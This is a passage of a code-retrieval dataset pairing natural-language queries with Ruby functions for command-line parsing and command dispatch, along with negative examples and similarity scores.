command!\\n\\n\"\n end", "def execute\n raise NotImplementedError, 'Generic command has no actions'\n end", "def do_action(action)\n\t\tcase action\n\t\twhen 'list'\n\t\t\tlist()\n\t\twhen 'find'\n\t\t\tputs 'Finding...'\n\t\t\tfind()\n\t\twhen 'sort'\n\t\t\tsort()\n\t\twhen 'add'\n\t\t\tadd()\n\t\twhen 'quit'\n\t\t\treturn :quit\n\t\telse\n\t\t\tputs \"\\nI don't understand that command.\\n\"\n\t\tend\n\tend", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n if process_arguments == false\n return\n end\n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def command_processor(user_input)\r\n case user_input.downcase\r\n when \"help\"\r\n list_available_commands\r\n when \"create\"\r\n ui_create_event\r\n when \"view-day\"\r\n ui_view_by_day\r\n when \"view-month\"\r\n ui_view_by_month\r\n when \"delete\"\r\n ui_delete_event\r\n when \"modify\"\r\n ui_modify_event\r\n else\r\n puts \"#{user_input} is not a command. type 'help' to see a list of commands\"\r\n end\r\nend", "def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\\\n\\\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end\n end", "def process_simple_command(command, board)\n\n case command\n when \"help\"\n puts command_list\n return true\n when \"display\"\n board.display\n return true\n when \"exit\"\n abort\n end\n\n false\nend", "def performAction(command)\n command = command.strip.split(/ *, */)\n # Force upper case for the command word\n command[0] = command[0].upcase\n if(command.size >= 3)\n # Standardize formatting of amounts\n command[2].slice! \"$\"\n command[2] = \"$%.2f\" % command[2]\n end\n\n # Execute the appropriate command based on the first word in the message\n case command[0]\n when \"BOUGHT\" then buy(command)\n when \"BUY\" then buy(command)\n when \"SOLD\" then sell(command)\n when \"SELL\" then sell(command)\n when \"RECENT\" then recent()\n when \"PAST\" then recent()\n when \"BALANCE\" then balance\n when \"HELP\" then help\n when \"REGISTER\" then register(command)\n else unknownCommand\n end\nend", "def queue_command(options)\n args = options[0..-1]\n if args.empty?\n puts sorry\n elsif args[0] == 'count'\n queue_count\n elsif args[0] == 'clear'\n queue_clear\n elsif args[0] == 'print' && args[1] != \"by\"\n queue_print\n elsif args[0] == 'print' && args[1] == \"by\"\n sort_queue(args[2])\n elsif args[0] == 'save' && args[1] == 'to'\n queue_save(args[2])\n else\n puts \"Sorry: please add either count/clear/print(by) or save, as additional argument to queue\"\n end\n end", "def run\n\n if parsed_options? && arguments_valid? \n\n puts \"Start at #{Time.new.to_s}\\n\\n\" if @options.verbose\n\n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n\n puts \"\\nFinished at #{Time.new.to_s}\" if @options.verbose\n\n else\n output_usage\n end\n\n end", "def launch!\n\t\tintroduction\n\n\t\tresult = nil\n\t\tuntil result == :quit\n\t\t\tprint \"> Choose one of these options: List, Sort, Find or Add.\\n\\n\"\n\t\t\tuser_response = gets.chomp\n\t\t\tresult = do_action(user_response)\n\t\tend\n\t\tconclusion\n\tend", "def post_option_parser(configuration)\n # we could test or manipulate input values here\n if ARGV.length >= 1\n configuration[:command] = ARGV.shift \n end\n\n raise \"Action must be say_goodbye or get_towel\" unless [\"say_goodbye\", \"get_towel\"].include?(configuration[:command])\n end", "def handle_commands(command) # rubocop:todo Metrics/CyclomaticComplexity\n case command\n when '/start'\n greet_user\n when '/stop'\n send_message \"Bye, #{message.from.first_name}\"\n when '/help'\n send_message \"Please enter any of the following commands: #{@commands}\"\n when '/news'\n handle_news\n when '/subscribe'\n handle_subscribe command\n when '/update'\n handle_update\n when '/add_birthday'\n @name = message.text if @name_set and @name.empty?\n prompt_user command\n when '/add_my_birthday'\n prompt_user command\n when '/add_anniversary'\n @name = message.text if @name_set and @name.empty?\n prompt_user command\n\n end\n end", "def run\n unless parsed_options? && arguments_valid? \n output_usage and return\n end\n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n end", "def run\n _cmd = built_in_command( options[:args] )\n _cmd ||= options[:command] ? CommandRunner.new(options[:command]) : 0\n if _cmd.class == CommandRunner\n _cmd.run do |item|\n puts \"%s:\\n %s\\n\\n\" % [ item.class, item.desc ] if item.is_a?(UseCase) && ENV['ENVIRONMENT'] != 'test'\n end\n else\n _cmd\n end\n end", "def run!\n if self.class.commands.include?(@command)\n run_command\n elsif @command.nil?\n puts \"Command required\"\n puts @parser\n exit 1\n else\n abort \"Unknown command: #{@command}. Use one of #{self.class.commands.join(', ')}\"\n end\n end", "def run\n\n\t\tif parsed_options? && arguments_valid?\n\n\t\t puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n\t\t output_options if @options.verbose # [Optional]\n\n\t\t process_arguments\n\t\t process_command\n\n\t\t puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n\t\telse\n\t\t output_usage\n\t\tend\n\n\tend", "def do_command\n if @index == 0\n call_scene(SearchMethod)\n elsif @index == 1\n do_command1\n elsif display_message(ext_text(8997, 32), 2, ext_text(8997, 33), ext_text(8997, 34)) == 0\n $game_system.se_play($data_system.cancel_se)\n @running = false\n end\n end", "def execute_option_or_command(options, command, args)\n options[:execute] ? eval_execute_option(options[:execute]) :\n execute_command(command, args)\n end", "def execute_main(cmd)\n # append help option\n _list = list.clone\n _list << HelpOption.help\n\n _list.each do |item|\n # merge init values\n if item.init\n cmd.model[item.name] = Normalizer.normalize(item.type, item.init)\n end\n # set process context class\n if item.process_context_class.nil?\n item.process_context_class = get_process_context_class(cmd)\n end\n end\n\n # parse options\n OptionParser.new do |opt|\n _list.each {|item| item.setup(opt, cmd)}\n end.send(cmd.has_subcommands? ? :order! : :parse!, cmd.argv)\n\n # check option's validness\n check(cmd)\n rescue OptionParser::ParseError, NormalizerValueError => e\n raise OptionError.new(cmd, e.message)\n end", "def run\n if parsed_options? && arguments_valid?\n log \"Start at #{DateTime.now}\\n\"\n output_options\n\n process_arguments\n process_command\n log \"Finished at #{DateTime.now}\"\n else\n output_usage\n end\n end", "def execute\n cli_options = OptionManager.new.execute\n argv = parse_options(cli_options[:parser])\n \n return unless argv\n \n if [nil, ''].include? cli_options[:values][:cmd]\n env.ui.info cli_options[:parser]\n else\n with_target_vms(argv) do |machine|\n manage_machine(machine, cli_options) \n end\n end\n 0\n end", "def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n process_arguments \n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n else\n output_usage\n end\n end", "def execute_on_basis_of_selected_option\n case @selected_option\n when 1\n book_tickets\n when 2\n print_total_revenue_of_sales \n give_next_options_to_continue\n end\n end", "def run\n # puts \"parsed_options? >>> #{parsed_options?}\"\n # puts \"arguments_valid? >>> #{arguments_valid?}\"\n if parsed_options? && arguments_valid?\n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n process_arguments\n \n output_options if @options.verbose # [Optional]\n \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def do_command\n if @index == 0\n do_command0\n elsif @index == 1\n do_command1\n elsif @index == 2\n do_command2\n else\n @running = false\n end\n end", "def process_command(cmds)\n return \"\" if cmds.length == 0\n \n s = case cmds[0]\n when \"cat\" then run_cat(cmds)\n when \"cd\" then run_cd(cmds)\n when \"help\" then run_help(cmds)\n when \"ls\" then run_ls(cmds)\n else \"-bash: #{ cmds[0] }: command not found\"\n end\n end", "def run!\n\t\t\topts=OptionParser.new\n\n\t\t\topts.banner = \"Usage: #{$0} [options] action\\n action is one of init, build, install, uninstall, info, status, diff\"\n\n\t\t\topts.separator \"\"\n\t\t\topts.separator \"install options:\"\n\n\t\t\topts.on(\"-o\", \"--[no-]overwrite\", \"Overwrite existing files (a backup will be created)\") { |v| @options[:overwrite] = v }\n\n\t\t\topts.separator \"\"\n\t\t\topts.separator \"build options:\"\n\n\t\t\topts.on(\"-r\", \"--[no-]rebuild\", \"Build even if the built file is current\") { |v| @options[:rebuild] = v }\n\n\t\t\topts.separator \"\"\n\t\t\topts.separator \"Common options:\"\n\n\t\t\topts.on(\"-h\", \"--help\" , \"Show this message\") { puts opts ; exit }\n\t\t\topts.on( \"--version\", \"Show version\" ) { puts VERSION; exit }\n\n\t\t\tbegin\n\t\t\t\topts.parse!\n\t\t\trescue OptionParser::InvalidOption => ex\n\t\t\t\tputs ex.message\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\taction=ARGV[0]||\"\"\n\n\t\t\tcase action.downcase\n\t\t\t\twhen \"init\" then Coffle.init! @repository, @options\n\t\t\t\twhen \"build\" then instance_action=:build\n\t\t\t\twhen \"install\" then instance_action=:install\n\t\t\t\twhen \"uninstall\"then instance_action=:uninstall\n\t\t\t\twhen \"info\" then instance_action=:info\n\t\t\t\twhen \"status\" then instance_action=:status\n\t\t\t\twhen \"diff\" then instance_action=:diff\n\t\t\t\telse puts opts # Output the options help message\n\n\t\t\tend\n\n\t\t\tif instance_action\n\t\t\t\tcoffle=Coffle.new(@repository, @target, @options)\n\n\t\t\t\tcase instance_action\n\t\t\t\twhen :build then coffle.build! @options\n\t\t\t\twhen :install then coffle.install! @options\n\t\t\t\twhen :uninstall then coffle.uninstall! @options\n\t\t\t\twhen :info then coffle.info! @options\n\t\t\t\twhen :status then coffle.status! @options\n\t\t\t\twhen :diff then coffle.diff! @options\n\t\t\t\tend\n\n\t\t\t\tcoffle.write_status\n\t\t\t\tcoffle.write_target_status\n\t\t\tend\n\t\tend", "def run\n if parsed_options? && arguments_valid?\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose\n\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end\n end", "def execute(key, modifiers = [], options = {})\n case key\n when 'shell'\n if options['command']\n options['shell'] ||= '/bin/bash'\n cmd = MDT::Helpers::Command.apply_command_modifiers(options['command'], modifiers)\n puts \"Running shell command: #{options['shell']} #{options['args']} -c \\\"#{cmd}\\\"\"\n system(\"#{options['shell']} #{options['args']} -c \\\"#{cmd}\\\"\")\n $?.exitstatus\n else\n 1\n end\n when 'system'\n if options['command_string']\n cmd = MDT::Helpers::Command.apply_command_modifiers(options['command_string'], modifiers)\n puts \"Running command: #{cmd}\"\n system(cmd)\n $?.exitstatus\n else\n 1\n end\n when 'mkdir'\n if options['path']\n begin\n if options['parents']\n puts \"Creating directory with parents: #{options['path']}\"\n FileUtils.mkdir_p(options['path'])\n else\n puts \"Creating directory: #{options['path']}\"\n FileUtils.mkdir(options['path'])\n end\n 0\n rescue\n 1\n end\n else\n 1\n end\n when 'cd'\n if options['path']\n begin\n puts \"Changing working directory to: #{options['path']}\"\n FileUtils.cd(Dir[options['path']].first)\n 0\n rescue\n 1\n end\n else\n 1\n end\n when 'cp'\n if options['source_path'] && options['destination_path']\n begin\n if options['recursive']\n puts \"Copying recursively from: #{options['source_path']} to: #{options['destination_path']}\"\n FileUtils.cp_r(Dir[options['source_path']], Dir[options['destination_path']].first)\n else\n puts \"Copying from: #{options['source_path']} to: #{options['destination_path']}\"\n FileUtils.cp(Dir[options['source_path']], Dir[options['destination_path']].first)\n end\n 0\n rescue\n 1\n end\n else\n 1\n end\n when 'mv'\n if options['source_path'] && options['destination_path']\n begin\n puts \"Moving from: #{options['source_path']} to: #{options['destination_path']}\"\n FileUtils.mv(Dir[options['source_path']], Dir[options['destination_path']].first)\n rescue\n 1\n end\n else\n 1\n end\n when 'rm'\n if options['path']\n begin\n if options['recursive'] && options['force']\n puts \"Removing recursively with force: #{options['path']}\"\n FileUtils.rm_rf(Dir[options['path']])\n elsif options['recursive']\n puts \"Removing recursively: #{options['path']}\"\n FileUtils.rm_r(Dir[options['path']])\n elsif options['force']\n puts \"Removing with force: #{options['path']}\"\n FileUtils.rm_f(Dir[options['path']])\n else\n puts \"Removing: #{options['path']}\"\n FileUtils.rm(Dir[options['path']])\n end\n 0\n rescue\n 1\n end\n else\n 1\n end\n when 'ln'\n if options['destination_path'] && options['link_name']\n begin\n if options['symbolic'] && options['force']\n puts \"Creating a symbolic link with force to: #{options['destination_path']} named: #{options['link_name']}\"\n FileUtils.ln_sf(Dir[options['destination_path']], Dir[options['link_name']].first)\n elsif options['symbolic']\n puts \"Creating a symbolic link to: #{options['destination_path']} named: #{options['link_name']}\"\n FileUtils.ln_s(Dir[options['destination_path']], Dir[options['link_name']].first)\n elsif options['force']\n puts \"Creating a link with force to: #{options['destination_path']} named: #{options['link_name']}\"\n FileUtils.ln_f(Dir[options['destination_path']], Dir[options['link_name']].first)\n else\n puts \"Creating a link to: #{options['destination_path']} named: #{options['link_name']}\"\n FileUtils.ln(Dir[options['destination_path']], Dir[options['link_name']].first)\n end\n 0\n rescue\n 1\n end\n else\n 1\n end\n when 'chmod'\n if options['mode'] && options['destination_path']\n begin\n if options['recursive']\n puts \"Changing mode recursively to: #{options['mode']} of: #{options['destination_path']}\"\n FileUtils.chmod_R(options['mode'], Dir[options['destination_path']])\n else\n puts \"Changing mode to: #{options['mode']} of: #{options['destination_path']}\"\n FileUtils.chmod(options['mode'], Dir[options['destination_path']])\n end\n rescue\n 1\n end\n 0\n else\n 1\n end\n when 'chown'\n if options['user'] && options['group'] && options['destination_path']\n begin\n if options['recursive']\n puts \"Changing owner recursively to: #{options['user']}:#{options['group']} of: #{options['destination_path']}\"\n FileUtils.chown_R(options['user'], options['group'], Dir[options['destination_path']])\n else\n puts \"Changing owner to: #{options['user']}:#{options['group']} of: #{options['destination_path']}\"\n FileUtils.chown(options['user'], options['group'], Dir[options['destination_path']])\n end\n 0\n rescue\n 1\n end\n else\n 1\n end\n when 'touch'\n if options['path']\n begin\n puts \"Touching: #{options['path']}\"\n FileUtils.touch(Dir[options['path']])\n 0\n rescue\n 1\n end\n else\n 1\n end\n end\n end", "def run\n\n if parsed_options? && arguments_valid? && client_configured?\n\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n output_options if @options.verbose # [Optional]\n\n process_arguments\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n else\n output_usage\n end\n\n end", "def process_command(user, command, args, params = nil)\n command = command.to_sym\n if actions.include?(command)\n @current_user = user\n @params = paramify(args)\n puts \"-> #{self.class}.#{command}\"\n self.instance_exec &actions[command.to_sym]\n else\n raise \"Class #{self.class} does not have an action named #{command}\"\n end\n end", "def run\n @arguments = ArgumentParser.get_arguments VALID_ARGUMENTS\n print_help if (@arguments[:options][:help])\n print_version if (@arguments[:options][:version])\n if (@arguments[:keywords][:export])\n handle_export\n elsif (@arguments[:keywords][:import])\n handle_import\n else\n print_help\n end\n end", "def opt_parse # rubocop:disable Metrics/AbcSize\n case @options[:action]\n when 'create'\n build_looper('instances')\n when 'list'\n formatter(list)\n when 'delete'\n puts delete\n when 'get_ip'\n BmcAuthenticate.new(@options)\n attrcheck = { 'instance' => @options[:inst] }\n @validate.validate(@options, attrcheck)\n inst_details = AttrFinder.new(@instanceparameters)\n inst_details.options = @options\n inst_details.validate = @validate\n inst_ocid = inst_details.instance\n ips = list_instance_ip(@options[:compartment], inst_ocid)\n puts 'The private IP is ' + ips.at(0) + ' the public ip is ' + ips.at(1)\n when 'InstanceConsoleHistory'\n chist = InstanceConsoleHistory.new\n chist.options = @options\n chist.validate = @validate\n formatter(chist.list) \n else\n 'you have entered an incorrect value, correct values are get_ip, create, list, list_image, delete'\n end \n end", "def remote\n log_and_exit read_template('help') if options.empty?\n \n # Attempts to run the specified command\n run_remote_command(options[0])\n end", "def normalize_command_definition(name, options)\n mode = options[:mode]\n act = options[:action]||name\n action = act\n action = controller.method(act) if act.is_a?(Symbol) || act.is_a?(String)\n if options.has_key?(:triggers) && !options[:triggers].nil?\n triggers = options[:triggers]\n\n cmd_def =\n if triggers.is_a?(String) || triggers.is_a?(Symbol)\n {\n :element => triggers,\n :event => :click,\n :action => action,\n :mode => mode,\n :type => :event\n }\n elsif triggers.is_a?(Hash)\n {:action => action, :mode => mode, :type => :event }.merge triggers\n elsif triggers.is_a?(Array)\n defs = []\n triggers.each do |trig|\n trig = { :element => trig, :event => :click } unless trig.is_a? Hash\n trig[:event] = :click unless trig.has_key? :event\n defs << { :action => action, :mode => mode, :type => :event }.merge(trig)\n end\n defs\n end\n cmd_def\n else\n exec = options[:execute]\n execute = exec\n execute = controller.method(exec) if exec.is_a?(Symbol) || exec.is_a?(String)\n callback = options[:callback]\n callback = controller.method(callback) if callback.is_a?(Symbol) || callback.is_a?(String)\n controller_action, controller_condition = execute || action, options[:condition]\n res = {\n :action => controller_action,\n :condition => controller_condition,\n :mode => mode,\n :callback => callback,\n :type => options[:type] || :behavior\n }\n res[:interval] = options[:interval] if options.key? :interval\n res\n end\n end", "def execute_command(target, command, options, *args)\n context = CommandContext.new\n\n # set some useful methods to be used by the action blocks\n context.opts = options\n context.target = target\n context.output = output\n context.command_set = commands\n\n context.command_processor = self\n\n ret = commands.run_command(context, command, *args)\n\n # Tick, tock, im getting rid of this shit soon.\n options[:val].clear\n\n ret\n end", "def execute command\n log command\n system(command) unless @options[:test]\n end", "def listOptions\r\n\r\n puts \"Hello. This calculator has the following options.\"\r\n\r\n while (!@check_action)\r\n puts \"\\nChoose what you want to calculate:\"\r\n listMethods\r\n action = gets.chomp.upcase\r\n case action\r\n when \"BMI\"\r\n bodyMassIndex\r\n when \"SPEED\"\r\n mediumSpeed\r\n when \"TRI\"\r\n triangleArea\r\n when \"EXIT\"\r\n @check_action = true\r\n else\r\n puts \"Not a valid entry. Please check again your options.\"\r\n end\r\n end\r\n\r\n puts \"Goodbye.\"\r\n end", "def cmd(*cmd_args)\n\t\tsetup_opts = {}\n\t\tbegin\n\t\t\[email protected](*cmd_args) do |opt,idx,val|\n\t\t\t\tif opt == '-h'\n\t\t\t\t\[email protected]\n\t\t\t\t\tKernel.exit(1)\n\t\t\t\tend\n\t\t\t\[email protected]_header do |type|\n\t\t\t\t\ttype << \"_case\"\n\t\t\t\t\tsetup_opts.merge!(Parser::Case.new.send(type.to_sym,opt,val))\n\t\t\t\tend\n\t\t\tend\n\t\trescue\n\t\t\[email protected]\n\t\t\tKernel.exit(1)\n\t\tend\n\t\tself.setup(setup_opts)\n\tend", "def run(args)\n opts.parse!(args)\n\n command = args.shift\n if command.nil?\n puts opts\n else\n meth = command.gsub(\"-\", \"_\").to_sym\n if respond_to?(meth)\n send(meth)\n else\n puts %(`#{command}` is not a #{opts.program_name} command. See `#{opts.program_name} --help` for a list of available commands.)\n end\n end\n end", "def menu_options()\n print_message 'Select operation to perform'\n print_message '1. Add'\n print_message '2. Substract'\n print_message '3. Multiply'\n print_message '4. Divide'\n print_message \"Or press 'q' to exit calculator app\"\n end", "def dispatch(command, given_args, given_opts, config) #:nodoc:\n if Foreman::Thor::HELP_MAPPINGS.include?(given_args.first)\n help(config[:shell])\n return\n end\n\n args, opts = Foreman::Thor::Options.split(given_args)\n opts = given_opts || opts\n\n instance = new(args, opts, config)\n yield instance if block_given?\n\n if command\n instance.invoke_command(all_commands[command])\n else\n instance.invoke_all\n end\n end", "def execute!\n action, item = arguments[0].to_s, arguments[1].to_s\n ui.info \"Running parameters action #{ui.color(action.to_s, :bold)}\"\n if respond_to?(\"run_action_#{action}\")\n send(\"run_action_#{action}\", item)\n else\n allowed_actions = public_methods.grep(/^run_action/).sort.map do |item|\n item.to_s.sub(\"run_action_\", \"\")\n end\n raise ArgumentError.new \"Unsupported action received `#{action}`. \" \\\n \"Allowed: #{allowed_actions.join(\", \")}\"\n end\n end", "def cmd(*args) self.class.cmd(*args) end", "def execute\n\n if @main_args.include?(\"-h\") || @main_args.include?(\"--help\")\n # Print the help for all the box commands.\n return help\n end\n\n # Currently we can only work with a single VM environment\n raise Errors::SingleVMEnvironmentRequired if @env.multivm?\n\n # Run the appropriate subcommand\n case @sub_command\n when 'sync'\n return execute_sync\n when 'monitor'\n return execute_monitor\n when nil\n return execute_monitor\n else\n return help\n end\n end", "def Execute(*args)\r\n\t\tcase args[0]\r\n\t\twhen CmdAOT\r\n\t\t\tOnAOT(*args)\r\n\t\twhen CmdItem1\r\n\t\t\tOnItem1(*args)\r\n\t\twhen CmdButton1\r\n\t\t\tOnButton1(*args)\r\n\t\tend\r\n\r\n\t\tS_OK\r\n\tend", "def run_command(cmd, options={})\n FudgeMatchers::Run.new cmd, options\nend", "def cmd(options={})\n arguments\n end", "def _dispatch\n case @options[:action]\n when :init\n _init\n when :add\n fail 'No url given (-u option)' if @options[:url].empty?\n fail 'No name given (-n option)' if @options[:name].empty?\n _add\n when :delete\n fail 'No id given (-i option)' if @options[:id].nil?\n _delete\n when :list\n _list\n else\n fail \"Unknown action #{@options[:action]}\"\n end\n end", "def command_help\n display_possible_actions\n end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def amethod( doThis )\n if (doThis == :deletefiles) then\n puts( 'Now deleting files...')\n elsif (doThis == :formatdisk) then\n puts( 'Now formatting disk...')\n else\n puts( \"Sorry, command not understood.\" )\n end\nend", "def execute(data)\n data.respond_to?(option.first) ? data.send(*option) : data\n end", "def invoke_command(cmd, options={}, &block)\n options = options.dup\n via = options.delete(:via) || :run\n send(via, cmd, options, &block)\n end", "def run(args)\n if args.size > 1\n cmd_name = args[1]\n if cmd_name == '*'\n msg(\"All command names:\")\n msg columnize_commands(@proc.commands.keys.sort)\n elsif CATEGORIES.member?(cmd_name)\n show_category(args[1], args[2..-1])\n elsif @proc.commands.member?(cmd_name) or @proc.aliases.member?(cmd_name)\n real_name = \n if @proc.commands.member?(cmd_name) \n cmd_name\n else\n @proc.aliases[cmd_name]\n end\n cmd_obj = @proc.commands[real_name]\n help_text = \n cmd_obj.respond_to?(:help) ? cmd_obj.help(args) : \n cmd_obj.class.const_get(:HELP)\n if help_text\n msg(help_text) \n if cmd_obj.class.constants.member?(:ALIASES) and\n args.size == 2\n msg \"Aliases: #{cmd_obj.class.const_get(:ALIASES).join(', ')}\"\n end\n end\n else \n matches = @proc.commands.keys.grep(/^#{cmd_name}/).sort rescue []\n if matches.empty?\n errmsg(\"No commands found matching /^#{cmd_name}/. Try \\\"help\\\".\")\n else\n msg(\"Command names matching /^#{cmd_name}/:\")\n msg columnize_commands(matches.sort)\n end\n end\n else\n list_categories\n end\n return false # Don't break out of cmd loop\n end", "def execute\r\n $LOG.debug \"ParseDecisionApp::execute\"\r\n\r\n\t options = @user_choices\r\n if(!options[:logging])\r\n\t\toptions[:logging] = false\r\n end\r\n \r\n if(@user_choices[:which])\r\n puts \"Location: #{$0}\"\r\n return\r\n end\r\n \r\n @controller.setOptions(options)\r\n\t \r\n\t if(@user_choices[:cmdArg].empty?) # If no cmd line arg...\r\n if( [email protected]() )\r\n\t\t\treturn\r\n\t\tend\r\n else\r\n\t\t if( [email protected](@user_choices[:cmdArg]) )\r\n\t\t\treturn\r\n\t\t end\r\n\t end\r\n \r\n @controller.execute()\r\n end", "def menu_choice(cmd)\n hplayer = @human_player\n action = cmd\n\n # define possible actions for the player\n if action == \"a\"\n hplayer.search_weapon\n elsif action == \"s\"\n hplayer.search_health_pack\n elsif action.match(/^(\\d)+$/) # check if action is a number\n hplayer.attacks(@enemies[action.to_i])\n if @enemies[action.to_i].life_points <= 0\n kill_player(@enemies[action.to_i])\n end\n end\n \n end", "def run_command(command)\n if command and respond_to?(command)\n send(command)\n else\n log_and_exit read_template('help')\n end\n end" ]
[ "0.7960666", "0.72554153", "0.7117998", "0.7017757", "0.700435", "0.6980806", "0.6951909", "0.69421744", "0.6844444", "0.68172485", "0.6792789", "0.67878175", "0.6754534", "0.6754272", "0.6739037", "0.67239606", "0.6698615", "0.668392", "0.6578189", "0.65590954", "0.6550011", "0.6519057", "0.651389", "0.65052474", "0.65052474", "0.65052474", "0.65052474", "0.65052474", "0.65052474", "0.6495442", "0.6485762", "0.6483839", "0.6464417", "0.6440164", "0.6439988", "0.6439376", "0.64375347", "0.6432358", "0.64175713", "0.641424", "0.63871545", "0.6386653", "0.63732934", "0.6368945", "0.6366855", "0.63660896", "0.63582397", "0.63431436", "0.63421726", "0.63396823", "0.6339167", "0.6338645", "0.6337122", "0.63276494", "0.6326689", "0.63174975", "0.631693", "0.63102126", "0.63024735", "0.6299303", "0.6289561", "0.62784284", "0.6268782", "0.6266969", "0.6241951", "0.6240124", "0.6237384", "0.6231283", "0.622781", "0.62272304", "0.6214144", "0.62123877", "0.62090826", "0.620827", "0.6205088", "0.620449", "0.6198612", "0.6198031", "0.6189226", "0.61818993", "0.6172152", "0.61649746", "0.61643416", "0.61566556", "0.6145932", "0.61293787", "0.61264116", "0.6125018", "0.61198604", "0.61198604", "0.61198604", "0.61198604", "0.61198604", "0.61198604", "0.6108681", "0.60813737", "0.6080652", "0.60791564", "0.6072043", "0.6070296", "0.6069978" ]
0.0
-1
Extract command + arguments from ARGV
def parse # Parse all arguments first option_parser.parse!(arguments) # Get the first argument, this is our command cmd = arguments.pop raise OptionParser::MissingArgument, 'command' unless cmd # Set the command if it's present options.command = cmd.to_sym end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extract_arguments!\n return ARGV[0], nil, nil if ARGV.length == 1\n\n raise(ArgumentError, \"Usage: mixtape-bu SOURCE [CHANGES] [DEST]\") unless ARGV.length == 3\n\n ARGV.take(3)\nend", "def extract_args(*args)\n options = args.extract_options!\n if options.length.positive?\n [args.pop, options.fetch(:keys) { [] }, options.fetch(:argv) { [] }]\n else\n keys, argv = args.shift(2)\n keys ||= []\n argv ||= []\n [args.pop, keys, argv]\n end\n end", "def arguments\n @args ||= {}\n unless @args.size > 0\n ARGV.each_with_index do |arg, index|\n if arg.start_with?('-')\n if index + 1 < ARGV.size\n next_arg = ARGV[index + 1]\n if next_arg.start_with?('-') then\n @args.update(argument_present_or_direct(arg))\n else\n @args.update(arg => next_arg)\n end\n else\n @args.update(argument_present_or_direct(arg))\n end\n end\n end\n end\n @args\n end", "def preprocess_arguments_for_commands(args)\n # All arguments should be passed through to the atlantis command.\n if args.first == \"atlantis\"\n return args.slice!(1..-1)\n end\n if args.first == \"ssh\"\n arg_index = 1\n arg_index += 1 if Component.names.include?(args[1]) # Skip <component>, if it exists\n while arg_index < args.length\n break if args[arg_index][0] != \"-\"\n arg_index += 1 if args[arg_index] == \"-i\"\n arg_index += 1\n end\n return [] unless arg_index < args.length\n puts \"slicing #{arg_index.inspect}\"\n return args.slice!(arg_index..-1)\n end\n []\nend", "def parse argv\n parse_args argv do |argv, remaining_args, arg|\n remaining_args << arg\n end\n end", "def extract_extra_args(images)\n if idx = ARGV.find_index(\"--\")\n extra_args = ARGV[idx + 1..-1]\n extra_args.each { |a| images.delete(a) }\n end\n\n [images, extra_args]\n end", "def argv; argline.split(/ +/) unless argline.nil?; end", "def get_arguments(cmd)\n (main_args, sub_command, sub_args) = split_command(cmd)\n int_sub_command = '' #sub_command\n until sub_args.empty? do\n (int_main_args, int_sub_command, sub_args) = split_command(sub_args)\n end\n return [sub_command, int_sub_command]\nend", "def parsed\n [raw_command] + args\n end", "def process_argv!\n super\n if raw_script_name =~ /(\\w+)-([\\w\\-]+)/\n self.command = $2\n else\n self.command = rest.shift\n end\n end", "def parsed_argv\n Hash[ARGV.map { |arg| arg.split(\":\") }]\nend", "def extract_commands_from_input_file(args)\n\t\tcommands = []\n\t\tFile.open(args[0], \"r\").each do | line |\n\t\t\tcommands << extract_command_from_line(line)\n\t\tend\n\t\tcommands\n\tend", "def extract_options!(*options)\n parser = Cmd::OptionParser.new(@args)\n parsed_options = parser.parse!(*options)\n @args = parser.args\n parsed_options\n end", "def get_target_args\n\t\t\targs = ARGV.reject {|arg| arg =~ /^-/ || Rake::Task.task_defined?(arg) }\n\t\t\treturn args\n\t\tend", "def parse_arguments\n @arguments = ARGV.collect { |arg| arg.strip }\n @filename = Pathname.new(@arguments.first)\n end", "def extract_argument_lists(args, splittable_args); end", "def get_command_and_args(line)\n match = COMMAND_REGEX.match(line)\n return unless match\n\n result = COMMANDS[match.captures.compact.first.to_sym]\n [result[:command], result[:args_regex].match(line).captures]\n end", "def parse(argv, env)\n @argv = argv.dup\n @env = env\n\n tuple = find_command(@context, prefix: \"\")\n\n while (val = @argv.shift)\n @remaining_argv << val\n end\n\n tuple\n end", "def extract_build_args args # :nodoc:\n return [] unless offset = args.index('--')\n build_args = args.slice!(offset...args.length)\n build_args.shift\n build_args\n end", "def cmd(options={})\n arguments\n end", "def process_args\n if has_directory?\n @directory_to_parse = @args[0]\n else\n @files = @args[[email protected]]\n @owner = @args[@args.count-3]\n @repo = @args[@args.count-2]\n @token = @args[@args.count-1]\n end\n end", "def extract_command; end", "def args\n Mysh.parse_args(cooked_body)\n end", "def get_command_from_args(args)\n raise 'A command is required' if args.empty?\n {\n :filename => 'todo_list_data.txt',\n :command => args[0],\n :modifier => args[1]\n }\n end", "def parse_extra_args(args)\r\n # Special case: consider a single argument\r\n if (ARGV.length == 1)\r\n return (ARGV[0].start_with?('-')) ? [] : [ARGV[0]]\r\n end\r\n \r\n args[0..-2].each_index do |i|\r\n if (args[i].start_with?('-'))\r\n # Delete the flag, and its value if present\r\n args.delete_at(i+1) unless(args[i+1].nil? || args[i+1].start_with?('-'))\r\n args.delete_at(i)\r\n end\r\n end\r\n \r\n # Special case: consider the last 